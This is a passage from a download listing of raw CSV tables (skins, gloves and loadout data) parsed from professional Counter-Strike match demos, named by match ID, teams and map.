↓\n97820_3dmax-vs-pain-m2-nuke.dem.skins.csv ↓\n97826_the-mongolz-vs-faze-m1-ancient.dem.skins.csv ↓\n97826_the-mongolz-vs-faze-m2-anubis.dem.skins.csv ↓\n97830_aurora-vs-mouz-m1-train.dem.skins.csv ↓\n97830_aurora-vs-mouz-m2-inferno.dem.skins.csv ↓\n97830_aurora-vs-mouz-m3-mirage.dem.skins.csv ↓\n97835_virtus-pro-vs-vitality-m1-train.dem.skins.csv ↓\n97835_virtus-pro-vs-vitality-m2-dust2.dem.skins.csv ↓\n97836_natus-vincere-vs-g2-m1-mirage.dem.skins.csv ↓\n97836_natus-vincere-vs-g2-m2-anubis.dem.skins.csv ↓\n97836_natus-vincere-vs-g2-m3-inferno.dem.skins.csv ↓\n97857_legacy-vs-mouz-m1-ancient.dem.skins.csv ↓\n97857_legacy-vs-mouz-m2-inferno.dem.skins.csv ↓\n97857_legacy-vs-mouz-m3-nuke.dem.skins.csv ↓\n97864_the-mongolz-vs-g2-m1-ancient.dem.skins.csv ↓\n97864_the-mongolz-vs-g2-m2-dust2.dem.skins.csv ↓\n97867_virtus-pro-vs-pain-m1-mirage.dem.skins.csv ↓\n97867_virtus-pro-vs-pain-m2-inferno.dem.skins.csv ↓\n97867_virtus-pro-vs-pain-m3-dust2.dem.skins.csv ↓\n97934_spirit-vs-mouz-m1-mirage.dem.skins.csv ↓\n97934_spirit-vs-mouz-m2-dust2.dem.skins.csv ↓\n97934_spirit-vs-mouz-m3-nuke.dem.skins.csv ↓\n97936_furia-vs-pain-m1-nuke.dem.skins.csv ↓\n97936_furia-vs-pain-m2-anubis.dem.skins.csv ↓\n97936_furia-vs-pain-m3-inferno.dem.skins.csv ↓\n97952_natus-vincere-vs-vitality-m1-mirage.dem.skins.csv ↓\n97952_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv ↓\n97954_faze-vs-the-mongolz-m1-mirage.dem.skins.csv ↓\n97954_faze-vs-the-mongolz-m2-anubis.dem.skins.csv ↓\n97970_mouz-vs-vitality-m1-mirage.dem.skins.csv ↓\n97970_mouz-vs-vitality-m2-inferno.dem.skins.csv ↓\n97970_mouz-vs-vitality-m3-train.dem.skins.csv ↓\n97973_pain-vs-the-mongolz-m1-mirage.dem.skins.csv ↓\n97973_pain-vs-the-mongolz-m2-anubis.dem.skins.csv ↓\n97995_vitality-vs-the-mongolz-m1-mirage.dem.skins.csv ↓\n97995_vitality-vs-the-mongolz-m2-dust2.dem.skins.csv ↓\n97995_vitality-vs-the-mongolz-m3-inferno.dem.skins.csv ↓\nfaze-vs-natus-vincere-m1-ancient.dem.skins.csv ↓\nfaze-vs-natus-vincere-m1-inferno.dem.skins.csv ↓\nfaze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓\nfaze-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\nfaze-vs-natus-vincere-m3-inferno.dem.skins.csv ↓\ng2-vs-natus-vincere-m1-ancient.dem.skins.csv ↓\ng2-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\ngamerlegion-vs-vitality-m1-overpass.dem.skins.csv ↓\ngamerlegion-vs-vitality-m2-nuke.dem.skins.csv ↓\noutsiders-vs-heroic-m1-mirage.dem.skins.csv ↓\noutsiders-vs-heroic-m2-overpass.dem.skins.csv ↓\nspirit-vs-faze-m1-nuke.dem.skins.csv ↓\nspirit-vs-faze-m2-ancient.dem.skins.csv ↓\nspirit-vs-faze-m3-dust2.dem.skins.csv ↓\nvitality-vs-the-mongolz-m1-mirage.dem.skins.csv ↓\nvitality-vs-the-mongolz-m2-dust2.dem.skins.csv ↓\nvitality-vs-the-mongolz-m3-inferno.dem.skins.csv ↓\nRaw gloves tables225 files\n68407_g2-vs-natus-vincere-m1-ancient.dem.gloves.csv ↓\n68407_g2-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓\n71910_nip-vs-faze-m1-nuke.dem.gloves.csv ↓\n71910_nip-vs-faze-m2-overpass.dem.gloves.csv ↓\n71910_nip-vs-faze-m3-inferno.dem.gloves.csv ↓\n71939_ence-vs-copenhagen-flames-m1-vertigo.dem.gloves.csv ↓\n71939_ence-vs-copenhagen-flames-m2-nuke.dem.gloves.csv ↓\n71998_faze-vs-natus-vincere-m1-inferno.dem.gloves.csv ↓\n71998_faze-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓\n75553_spirit-vs-bad-news-eagles-ancient.dem.gloves.csv ↓\n75555_mouz-vs-liquid-inferno.dem.gloves.csv ↓\n75556_sprout-vs-big-vertigo.dem.gloves.csv ↓\n75637_outsiders-vs-heroic-m1-mirage.dem.gloves.csv ↓\n75637_outsiders-vs-heroic-m2-overpass.dem.gloves.csv ↓\n79711_9ine-vs-liquid-inferno.dem.gloves.csv ↓\n79712_natus-vincere-vs-gamerlegion-mirage.dem.gloves.csv ↓\n79717_into-the-breach-vs-apeks-mirage.dem.gloves.csv ↓\n79720_bad-news-eagles-vs-ence-vertigo.dem.gloves.csv ↓\n79721_liquid-vs-natus-vincere-inferno.dem.gloves.csv ↓\n79723_vitality-vs-ence-vertigo.dem.gloves.csv ↓\n79726_9ine-vs-gamerlegion-mirage.dem.gloves.csv ↓\n79727_bad-news-eagles-vs-g2-ancient.dem.gloves.csv ↓\n79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.gloves.csv ↓\n79733_ence-vs-into-the-breach-vertigo.dem.gloves.csv ↓\n79734_apeks-vs-bad-news-eagle-ancient.dem.gloves.csv ↓\n79735_fnatic-vs-gamerlegion-overpass.dem.gloves.csv ↓\n79736_monte-vs-vitality-m1-anubis.dem.gloves.csv ↓\n79736_monte-vs-vitality-m2-nuke.dem.gloves.csv ↓\n79739_9ine-vs-faze-m1-inferno.dem.gloves.csv ↓\n79739_9ine-vs-faze-m2-anubis.dem.gloves.csv ↓\n79740_heroic-vs-liquid-m1-inferno.dem.gloves.csv ↓\n79740_heroic-vs-liquid-m2-mirage.dem.gloves.csv ↓\n79740_heroic-vs-liquid-m3-ancient.dem.gloves.csv ↓\n79741_furia-vs-g2-m1-inferno.dem.gloves.csv ↓\n79741_furia-vs-g2-m2-mirage.dem.gloves.csv ↓\n79744_faze-vs-bad-news-eagles-m1-overpass.dem.gloves.csv ↓\n79744_faze-vs-bad-news-eagles-m2-mirage.dem.gloves.csv ↓\n79744_faze-vs-bad-news-eagles-m3-inferno.dem.gloves.csv ↓\n79746_liquid-vs-into-the-breach-m1-overpass.dem.gloves.csv ↓\n79746_liquid-vs-into-the-breach-m2-anubis.dem.gloves.csv ↓\n79747_fnatic-vs-g2-m1-inferno.dem.gloves.csv ↓\n79747_fnatic-vs-g2-m2-ancient.dem.gloves.csv ↓\n79747_fnatic-vs-g2-m3-vertigo.dem.gloves.csv ↓\n79756_faze-vs-natus-vincere-m1-overpass.dem.gloves.csv ↓\n79756_faze-vs-natus-vincere-m3-anubis.dem.gloves.csv ↓\n79758_fnatic-vs-into-the-breach-m1-inferno.dem.gloves.csv ↓\n79758_fnatic-vs-into-the-breach-m2-overpass.dem.gloves.csv ↓\n79758_fnatic-vs-into-the-breach-m3-vertigo.dem.gloves.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.gloves.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.gloves.csv ↓\n79802_heroic-vs-faze-m1-nuke.dem.gloves.csv ↓\n79802_heroic-vs-faze-m2-overpass.dem.gloves.csv ↓\n79802_heroic-vs-faze-m3-mirage.dem.gloves.csv ↓\n79803_vitality-vs-into-the-breach-m1-vertigo.dem.gloves.csv ↓\n79803_vitality-vs-into-the-breach-m2-anubis.dem.gloves.csv ↓\n79807_liquid-vs-apeks-m1-ancient.dem.gloves.csv ↓\n79807_liquid-vs-apeks-m2-overpass.dem.gloves.csv ↓\n79831_heroic-vs-gamerlegion-m1-ancient.dem.gloves.csv ↓\n79831_heroic-vs-gamerlegion-m2-inferno.dem.gloves.csv ↓\n79831_heroic-vs-gamerlegion-m3-mirage.dem.gloves.csv ↓\n79832_vitality-vs-apeks-m1-mirage.dem.gloves.csv ↓\n79832_vitality-vs-apeks-m2-vertigo.dem.gloves.csv ↓\n79841_gamerlegion-vs-vitality-m1-overpass.dem.gloves.csv ↓\n79841_gamerlegion-vs-vitality-m2-nuke.dem.gloves.csv ↓\n86019_mouz-vs-ecstatic-overpass.dem.gloves.csv ↓\n86023_complexity-vs-pain-vertigo.dem.gloves.csv ↓\n86024_faze-vs-heroic-ancient.dem.gloves.csv ↓\n86025_g2-vs-furia-inferno.dem.gloves.csv ↓\n86026_spirit-vs-cloud9-ancient.dem.gloves.csv ↓\n86029_vitality-vs-themongolz-nuke.dem.gloves.csv ↓\n86030_mouz-vs-eternal-fire-vertigo.dem.gloves.csv ↓\n86031_virtuspro-vs-pain-inferno.dem.gloves.csv ↓\n86032_complexity-vs-heroic-vertigo.dem.gloves.csv ↓\n86033_cloud9-vs-ecstatic-overpass.dem.gloves.csv ↓\n86035_natus-vincere-vs-g2-nuke.dem.gloves.csv ↓\n86036_faze-vs-furia-ancient.dem.gloves.csv ↓\n86038_spirit-vs-imperial-mirage.dem.gloves.csv ↓\n86044_heroic-vs-virtus-pro-ancient.dem.gloves.csv ↓\n86045_g2-vs-cloud9-anubis.dem.gloves.csv ↓\n86047_eternal-fire-vs-faze-overpass.dem.gloves.csv ↓\n86048_imperial-vs-vitality-overpass.dem.gloves.csv ↓\n86050_mouz-vs-complexity-m1-overpass.dem.gloves.csv ↓\n86050_mouz-vs-complexity-m2-ancient.dem.gloves.csv ↓\n86051_pain-vs-themongolz-m1-mirage.dem.gloves.csv ↓\n86051_pain-vs-themongolz-m2-nuke.dem.gloves.csv ↓\n86051_pain-vs-themongolz-m3-inferno.dem.gloves.csv ↓\n86053_spirit-vs-natus-vincere-m1-nuke.dem.gloves.csv ↓\n86053_spirit-vs-natus-vincere-m2-ancient.dem.gloves.csv ↓\n86053_spirit-vs-natus-vincere-m3-mirage.dem.gloves.csv ↓\n86055_ecstatic-vs-furia-m1-overpass.dem.gloves.csv ↓\n86055_ecstatic-vs-furia-m2-inferno.dem.gloves.csv ↓\n86055_ecstatic-vs-furia-m3-ancient.dem.gloves.csv ↓\n86061_imperial-vs-faze-m1-nuke.dem.gloves.csv ↓\n86061_imperial-vs-faze-m2-anubis.dem.gloves.csv ↓\n86061_imperial-vs-faze-m3-mirage.dem.gloves.csv ↓\n86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.gloves.csv ↓\n86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.gloves.csv ↓\n86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.gloves.csv ↓\n86064_ecstatic-vs-g2-m1-inferno.dem.gloves.csv ↓\n86064_ecstatic-vs-g2-m2-vertigo.dem.gloves.csv ↓\n86064_ecstatic-vs-g2-m3-anubis.dem.gloves.csv ↓\n86065_complexity-vs-vitality-m1-inferno.dem.gloves.csv ↓\n86065_complexity-vs-vitality-m2-vertigo.dem.gloves.csv ↓\n86065_complexity-vs-vitality-m3-anubis.dem.gloves.csv ↓\n86066_heroic-vs-pain-m1-nuke.dem.gloves.csv ↓\n86066_heroic-vs-pain-m2-mirage.dem.gloves.csv ↓\n86069_cloud9-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓\n86069_cloud9-vs-natus-vincere-m2-ancient.dem.gloves.csv ↓\n86069_cloud9-vs-natus-vincere-m3-overpass.dem.gloves.csv ↓\n86074_complexity-vs-faze-m1-nuke.dem.gloves.csv ↓\n86074_complexity-vs-faze-m2-overpass.dem.gloves.csv ↓\n86076_virtus-pro-vs-g2-m1-overpass.dem.gloves.csv ↓\n86076_virtus-pro-vs-g2-m2-inferno.dem.gloves.csv ↓\n86076_virtus-pro-vs-g2-m3-anubis.dem.gloves.csv ↓\n86078_natus-vincere-vs-pain-m1-nuke.dem.gloves.csv ↓\n86078_natus-vincere-vs-pain-m2-mirage.dem.gloves.csv ↓\n86154_cloud9-vs-vitality-m1-inferno.dem.gloves.csv ↓\n86154_cloud9-vs-vitality-m2-anubis.dem.gloves.csv ↓\n86162_spirit-vs-faze-m1-mirage.dem.gloves.csv ↓\n86162_spirit-vs-faze-m2-nuke.dem.gloves.csv ↓\n86162_spirit-vs-faze-m3-vertigo.dem.gloves.csv ↓\n86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓\n86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.gloves.csv ↓\n86175_mouz-vs-g2-m1-inferno.dem.gloves.csv ↓\n86175_mouz-vs-g2-m2-vertigo.dem.gloves.csv ↓\n86180_vitality-vs-faze-m1-nuke.dem.gloves.csv ↓\n86180_vitality-vs-faze-m2-vertigo.dem.gloves.csv ↓\n86180_vitality-vs-faze-m3-inferno.dem.gloves.csv ↓\n86181_natus-vincere-vs-g2-m1-anubis.dem.gloves.csv ↓\n86181_natus-vincere-vs-g2-m2-nuke.dem.gloves.csv ↓\n86181_natus-vincere-vs-g2-m3-ancient.dem.gloves.csv ↓\n86188_faze-vs-natus-vincere-m1-ancient.dem.gloves.csv ↓\n86188_faze-vs-natus-vincere-m2-mirage.dem.gloves.csv ↓\n86188_faze-vs-natus-vincere-m3-inferno.dem.gloves.csv ↓\n92883_natus-vincere-vs-liquid-nuke.dem.gloves.csv ↓\n92886_spirit-vs-furia-dust2.dem.gloves.csv ↓\n92887_mouz-vs-pain-nuke.dem.gloves.csv ↓\n92894_liquid-vs-gamerlegion-inferno.dem.gloves.csv ↓\n92895_vitality-vs-furia-mirage.dem.gloves.csv ↓\n92896_mouz-vs-the-mongolz-mirage.dem.gloves.csv ↓\n92897_spirit-vs-wildcard-ancient.dem.gloves.csv ↓\n92918_g2-vs-3dmax-ancient.dem.gloves.csv ↓\n92943_big-vs-faze-m1-inferno.dem.gloves.csv ↓\n92943_big-vs-faze-m2-mirage.dem.gloves.csv ↓\n92950_mibr-vs-liquid-m1-mirage.dem.gloves.csv ↓\n92950_mibr-vs-liquid-m2-nuke.dem.gloves.csv ↓\n92950_mibr-vs-liquid-m3-anubis.dem.gloves.csv ↓\n92953_furia-vs-pain-m1-vertigo.dem.gloves.csv ↓\n92953_furia-vs-pain-m2-mirage.dem.gloves.csv ↓\n92953_furia-vs-pain-m3-inferno.dem.gloves.csv ↓\n92954_spirit-vs-heroic-m1-ancient.dem.gloves.csv ↓\n92954_spirit-vs-heroic-m2-mirage.dem.gloves.csv ↓\n92954_spirit-vs-heroic-m3-dust2.dem.gloves.csv ↓\n92980_mibr-vs-mouz-m1-mirage.dem.gloves.csv ↓\n92980_mibr-vs-mouz-m2-nuke.dem.gloves.csv ↓\n92982_heroic-vs-natus-vincere-m1-mirage.dem.gloves.csv ↓\n92982_heroic-vs-natus-vincere-m2-nuke.dem.gloves.csv ↓\n92982_heroic-vs-natus-vincere-m3-ancient.dem.gloves.csv ↓\n92984_faze-vs-furia-m1-inferno.dem.gloves.csv ↓\n92984_faze-vs-furia-m2-dust2.dem.gloves.csv ↓\n92984_faze-vs-furia-m3-mirage.dem.gloves.csv ↓\n93035_the-mongolz-vs-mouz-m1-ancient.dem.gloves.csv ↓\n93035_the-mongolz-vs-mouz-m2-nuke.dem.gloves.csv ↓\n93037_spirit-vs-liquid-m1-anubis.dem.gloves.csv ↓\n93037_spirit-vs-liquid-m2-dust2.dem.gloves.csv ↓\n93050_g2-vs-heroic-m1-ancient.dem.gloves.csv ↓\n93050_g2-vs-heroic-m2-nuke.dem.gloves.csv ↓\n93050_g2-vs-heroic-m3-mirage.dem.gloves.csv ↓\n93052_vitality-vs-faze-m1-nuke.dem.gloves.csv ↓\n93052_vitality-vs-faze-m2-mirage.dem.gloves.csv ↓\n93052_vitality-vs-faze-m3-anubis.dem.gloves.csv ↓\n93073_mouz-vs-spirit-m1-nuke.dem.gloves.csv ↓\n93073_mouz-vs-spirit-m2-ancient.dem.gloves.csv ↓\n93073_mouz-vs-spirit-m3-mirage.dem.gloves.csv ↓\n93076_g2-vs-faze-m1-ancient.dem.gloves.csv ↓\n93076_g2-vs-faze-m2-nuke.dem.gloves.csv ↓\n93102_spirit-vs-faze-m1-nuke.dem.gloves.csv ↓\n93102_spirit-vs-faze-m2-ancient.dem.gloves.csv ↓\n93102_spirit-vs-faze-m3-dust2.dem.gloves.csv ↓\n97739_mouz-vs-virtuspro-mirage.dem.gloves.csv ↓\n97740_spirit-vs-pain-dust2.dem.gloves.csv ↓\n97741_g2-vs-3dmax-nuke.dem.gloves.csv ↓\n97743_aurora-vs-faze-anubis.dem.gloves.csv ↓\n97745_the-mongolz-vs-furia-inferno.dem.gloves.csv ↓\n97748_liquid-vs-lynn-vision-dust2.dem.gloves.csv ↓\n97750_aurora-vs-furia-dust2.dem.gloves.csv ↓\n97751_virtus-pro-vs-legacy-ancient.dem.gloves.csv ↓\n97752_3dmax-vs-natus-vincere-inferno.dem.gloves.csv ↓\n97754_mouz-vs-faze-ancient.dem.gloves.csv ↓\n97755_vitality-vs-nemiga-dust2.dem.gloves.csv ↓\n97757_g2-vs-pain-dust2.dem.gloves.csv ↓\n97769_3dmax-vs-vitality-nuke.dem.gloves.csv ↓\n97770_legacy-vs-faze-anubis.dem.gloves.csv ↓\n97772_aurora-vs-g2-inferno.dem.gloves.csv ↓\n97776_spirit-vs-natus-vincere-m1-anubis.dem.gloves.csv ↓\n97776_spirit-vs-natus-vincere-m2-train.dem.gloves.csv ↓\n97785_pain-vs-nemiga-m1-ancient.dem.gloves.csv ↓\n97785_pain-vs-nemiga-m2-anubis.dem.gloves.csv ↓\n97785_pain-vs-nemiga-m3-dust2.dem.gloves.csv ↓\n97819_legacy-vs-lynn-vision-m1-dust2.dem.gloves.csv ↓\n97819_legacy-vs-lynn-vision-m2-inferno.dem.gloves.csv ↓\n97819_legacy-vs-lynn-vision-m3-nuke.dem.gloves.csv ↓\n97820_3dmax-vs-pain-m1-inferno.dem.gloves.csv ↓\n97820_3dmax-vs-pain-m2-nuke.dem.gloves.csv ↓\n97826_the-mongolz-vs-faze-m1-ancient.dem.gloves.csv ↓\n97826_the-mongolz-vs-faze-m2-anubis.dem.gloves.csv ↓\n97830_aurora-vs-mouz-m1-train.dem.gloves.csv ↓\n97830_aurora-vs-mouz-m2-inferno.dem.gloves.csv ↓\n97830_aurora-vs-mouz-m3-mirage.dem.gloves.csv ↓\n97835_virtus-pro-vs-vitality-m1-train.dem.gloves.csv ↓\n97835_virtus-pro-vs-vitality-m2-dust2.dem.gloves.csv ↓\n97836_natus-vincere-vs-g2-m1-mirage.dem.gloves.csv ↓\n97836_natus-vincere-vs-g2-m2-anubis.dem.gloves.csv ↓\n97836_natus-vincere-vs-g2-m3-inferno.dem.gloves.csv ↓\n97857_legacy-vs-mouz-m1-ancient.dem.gloves.csv ↓\n97857_legacy-vs-mouz-m2-inferno.dem.gloves.csv ↓\n97857_legacy-vs-mouz-m3-nuke.dem.gloves.csv ↓\n97934_spirit-vs-mouz-m1-mirage.dem.gloves.csv ↓\n97934_spirit-vs-mouz-m2-dust2.dem.gloves.csv ↓\n97934_spirit-vs-mouz-m3-nuke.dem.gloves.csv ↓\n97954_faze-vs-the-mongolz-m1-mirage.dem.gloves.csv ↓\n97954_faze-vs-the-mongolz-m2-anubis.dem.gloves.csv ↓\n97995_vitality-vs-the-mongolz-m1-mirage.dem.gloves.csv ↓\n97995_vitality-vs-the-mongolz-m2-dust2.dem.gloves.csv ↓\n97995_vitality-vs-the-mongolz-m3-inferno.dem.gloves.csv ↓\nRaw loadout tables225 files\n68407_g2-vs-natus-vincere-m1-ancient.dem.loadout.csv ↓\n68407_g2-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓\n71910_nip-vs-faze-m1-nuke.dem.loadout.csv ↓\n71910_nip-vs-faze-m2-overpass.dem.loadout.csv ↓\n71910_nip-vs-faze-m3-inferno.dem.loadout.csv ↓\n71939_ence-vs-copenhagen-flames-m1-vertigo.dem.loadout.csv ↓\n71939_ence-vs-copenhagen-flames-m2-nuke.dem.loadout.csv ↓\n71998_faze-vs-natus-vincere-m1-inferno.dem.loadout.csv ↓\n71998_faze-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓\n75553_spirit-vs-bad-news-eagles-ancient.dem.loadout.csv ↓\n75555_mouz-vs-liquid-inferno.dem.loadout.csv ↓\n75556_sprout-vs-big-vertigo.dem.loadout.csv ↓\n75637_outsiders-vs-heroic-m1-mirage.dem.loadout.csv ↓\n75637_outsiders-vs-heroic-m2-overpass.dem.loadout.csv ↓\n79711_9ine-vs-liquid-inferno.dem.loadout.csv ↓\n79712_natus-vincere-vs-gamerlegion-mirage.dem.loadout.csv ↓\n79717_into-the-breach-vs-apeks-mirage.dem.loadout.csv ↓\n79720_bad-news-eagles-vs-ence-vertigo.dem.loadout.csv ↓\n79721_liquid-vs-natus-vincere-inferno.dem.loadout.csv ↓\n79723_vitality-vs-ence-vertigo.dem.loadout.csv ↓\n79726_9ine-vs-gamerlegion-mirage.dem.loadout.csv ↓\n79727_bad-news-eagles-vs-g2-ancient.dem.loadout.csv ↓\n79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.loadout.csv ↓\n79733_ence-vs-into-the-breach-vertigo.dem.loadout.csv ↓\n79734_apeks-vs-bad-news-eagle-ancient.dem.loadout.csv ↓\n79735_fnatic-vs-gamerlegion-overpass.dem.loadout.csv ↓\n79736_monte-vs-vitality-m1-anubis.dem.loadout.csv ↓\n79736_monte-vs-vitality-m2-nuke.dem.loadout.csv ↓\n79739_9ine-vs-faze-m1-inferno.dem.loadout.csv ↓\n79739_9ine-vs-faze-m2-anubis.dem.loadout.csv ↓\n79740_heroic-vs-liquid-m1-inferno.dem.loadout.csv ↓\n79740_heroic-vs-liquid-m2-mirage.dem.loadout.csv ↓\n79740_heroic-vs-liquid-m3-ancient.dem.loadout.csv ↓\n79741_furia-vs-g2-m1-inferno.dem.loadout.csv ↓\n79741_furia-vs-g2-m2-mirage.dem.loadout.csv ↓\n79744_faze-vs-bad-news-eagles-m1-overpass.dem.loadout.csv ↓\n79744_faze-vs-bad-news-eagles-m2-mirage.dem.loadout.csv ↓\n79744_faze-vs-bad-news-eagles-m3-inferno.dem.loadout.csv ↓\n79746_liquid-vs-into-the-breach-m1-overpass.dem.loadout.csv ↓\n79746_liquid-vs-into-the-breach-m2-anubis.dem.loadout.csv ↓\n79747_fnatic-vs-g2-m1-inferno.dem.loadout.csv ↓\n79747_fnatic-vs-g2-m2-ancient.dem.loadout.csv ↓\n79747_fnatic-vs-g2-m3-vertigo.dem.loadout.csv ↓\n79756_faze-vs-natus-vincere-m1-overpass.dem.loadout.csv ↓\n79756_faze-vs-natus-vincere-m3-anubis.dem.loadout.csv ↓\n79758_fnatic-vs-into-the-breach-m1-inferno.dem.loadout.csv ↓\n79758_fnatic-vs-into-the-breach-m2-overpass.dem.loadout.csv ↓\n79758_fnatic-vs-into-the-breach-m3-vertigo.dem.loadout.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.loadout.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.loadout.csv ↓\n79802_heroic-vs-faze-m1-nuke.dem.loadout.csv ↓\n79802_heroic-vs-faze-m2-overpass.dem.loadout.csv ↓\n79802_heroic-vs-faze-m3-mirage.dem.loadout.csv ↓\n79803_vitality-vs-into-the-breach-m1-vertigo.dem.loadout.csv ↓\n79803_vitality-vs-into-the-breach-m2-anubis.dem.loadout.csv ↓\n79807_liquid-vs-apeks-m1-ancient.dem.loadout.csv ↓\n79807_liquid-vs-apeks-m2-overpass.dem.loadout.csv ↓\n79831_heroic-vs-gamerlegion-m1-ancient.dem.loadout.csv ↓\n79831_heroic-vs-gamerlegion-m2-inferno.dem.loadout.csv ↓\n79831_heroic-vs-gamerlegion-m3-mirage.dem.loadout.csv ↓\n79832_vitality-vs-apeks-m1-mirage.dem.loadout.csv ↓\n79832_vitality-vs-apeks-m2-vertigo.dem.loadout.csv ↓\n79841_gamerlegion-vs-vitality-m1-overpass.dem.loadout.csv ↓\n79841_gamerlegion-vs-vitality-m2-nuke.dem.loadout.csv ↓\n86019_mouz-vs-ecstatic-overpass.dem.loadout.csv ↓\n86023_complexity-vs-pain-vertigo.dem.loadout.csv ↓\n86024_faze-vs-heroic-ancient.dem.loadout.csv ↓\n86025_g2-vs-furia-inferno.dem.loadout.csv ↓\n86026_spirit-vs-cloud9-ancient.dem.loadout.csv ↓\n86029_vitality-vs-themongolz-nuke.dem.loadout.csv ↓\n86030_mouz-vs-eternal-fire-vertigo.dem.loadout.csv ↓\n86031_virtuspro-vs-pain-inferno.dem.loadout.csv ↓\n86032_complexity-vs-heroic-vertigo.dem.loadout.csv ↓\n86033_cloud9-vs-ecstatic-overpass.dem.loadout.csv ↓\n86035_natus-vincere-vs-g2-nuke.dem.loadout.csv ↓\n86036_faze-vs-furia-ancient.dem.loadout.csv ↓\n86038_spirit-vs-imperial-mirage.dem.loadout.csv ↓\n86044_heroic-vs-virtus-pro-ancient.dem.loadout.csv ↓\n86045_g2-vs-cloud9-anubis.dem.loadout.csv ↓\n86047_eternal-fire-vs-faze-overpass.dem.loadout.csv ↓\n86048_imperial-vs-vitality-overpass.dem.loadout.csv ↓\n86050_mouz-vs-complexity-m1-overpass.dem.loadout.csv ↓\n86050_mouz-vs-complexity-m2-ancient.dem.loadout.csv ↓\n86051_pain-vs-themongolz-m1-mirage.dem.loadout.csv ↓\n86051_pain-vs-themongolz-m2-nuke.dem.loadout.csv ↓\n86051_pain-vs-themongolz-m3-inferno.dem.loadout.csv ↓\n86053_spirit-vs-natus-vincere-m1-nuke.dem.loadout.csv ↓\n86053_spirit-vs-natus-vincere-m2-ancient.dem.loadout.csv ↓\n86053_spirit-vs-natus-vincere-m3-mirage.dem.loadout.csv ↓\n86055_ecstatic-vs-furia-m1-overpass.dem.loadout.csv ↓\n86055_ecstatic-vs-furia-m2-inferno.dem.loadout.csv ↓\n86055_ecstatic-vs-furia-m3-ancient.dem.loadout.csv ↓\n86061_imperial-vs-faze-m1-nuke.dem.loadout.csv ↓\n86061_imperial-vs-faze-m2-anubis.dem.loadout.csv ↓\n86061_imperial-vs-faze-m3-mirage.dem.loadout.csv ↓\n86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.loadout.csv ↓\n86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.loadout.csv ↓\n86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.loadout.csv ↓\n86064_ecstatic-vs-g2-m1-inferno.dem.loadout.csv ↓\n86064_ecstatic-vs-g2-m2-vertigo.dem.loadout.csv ↓\n86064_ecstatic-vs-g2-m3-anubis.dem.loadout.csv ↓\n86065_complexity-vs-vitality-m1-inferno.dem.loadout.csv ↓\n86065_complexity-vs-vitality-m2-vertigo.dem.loadout.csv ↓\n86065_complexity-vs-vitality-m3-anubis.dem.loadout.csv ↓\n86066_heroic-vs-pain-m1-nuke.dem.loadout.csv ↓\n86066_heroic-vs-pain-m2-mirage.dem.loadout.csv ↓\n86069_cloud9-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓\n86069_cloud9-vs-natus-vincere-m2-ancient.dem.loadout.csv ↓\n86069_cloud9-vs-natus-vincere-m3-overpass.dem.loadout.csv ↓\n86074_complexity-vs-faze-m1-nuke.dem.loadout.csv ↓\n86074_complexity-vs-faze-m2-overpass.dem.loadout.csv ↓\n86076_virtus-pro-vs-g2-m1-overpass.dem.loadout.csv ↓\n86076_virtus-pro-vs-g2-m2-inferno.dem.loadout.csv ↓\n86076_virtus-pro-vs-g2-m3-anubis.dem.loadout.csv ↓\n86078_natus-vincere-vs-pain-m1-nuke.dem.loadout.csv ↓\n86078_natus-vincere-vs-pain-m2-mirage.dem.loadout.csv ↓\n86154_cloud9-vs-vitality-m1-inferno.dem.loadout.csv ↓\n86154_cloud9-vs-vitality-m2-anubis.dem.loadout.csv ↓\n86162_spirit-vs-faze-m1-mirage.dem.loadout.csv ↓\n86162_spirit-vs-faze-m2-nuke.dem.loadout.csv ↓\n86162_spirit-vs-faze-m3-vertigo.dem.loadout.csv ↓\n86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓\n86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.loadout.csv ↓\n86175_mouz-vs-g2-m1-inferno.dem.loadout.csv ↓\n86175_mouz-vs-g2-m2-vertigo.dem.loadout.csv ↓\n86180_vitality-vs-faze-m1-nuke.dem.loadout.csv ↓\n86180_vitality-vs-faze-m2-vertigo.dem.loadout.csv ↓\n86180_vitality-vs-faze-m3-inferno.dem.loadout.csv ↓\n86181_natus-vincere-vs-g2-m1-anubis.dem.loadout.csv ↓\n86181_natus-vincere-vs-g2-m2-nuke.dem.loadout.csv ↓\n86181_natus-vincere-vs-g2-m3-ancient.dem.loadout.csv ↓\n86188_faze-vs-natus-vincere-m1-ancient.dem.loadout.csv ↓\n86188_faze-vs-natus-vincere-m2-mirage.dem.loadout.csv ↓\n86188_faze-vs-natus-vincere-m3-inferno.dem.loadout.csv ↓\n92883_natus-vincere-vs-liquid-nuke.dem.loadout.csv ↓\n92886_spirit-vs-furia-dust2.dem.loadout.csv ↓\n92887_mouz-vs-pain-nuke.dem.loadout.csv ↓\n92894_liquid-vs-gamerlegion-inferno.dem.loadout.csv ↓\n92895_vitality-vs-furia-mirage.dem.loadout.csv ↓\n92896_mouz-vs-the-mongolz-mirage.dem.loadout.csv ↓\n92897_spirit-vs-wildcard-ancient.dem.loadout.csv ↓\n92918_g2-vs-3dmax-ancient.dem.loadout.csv ↓\n92943_big-vs-faze-m1-inferno.dem.loadout.csv ↓\n92943_big-vs-faze-m2-mirage.dem.loadout.csv 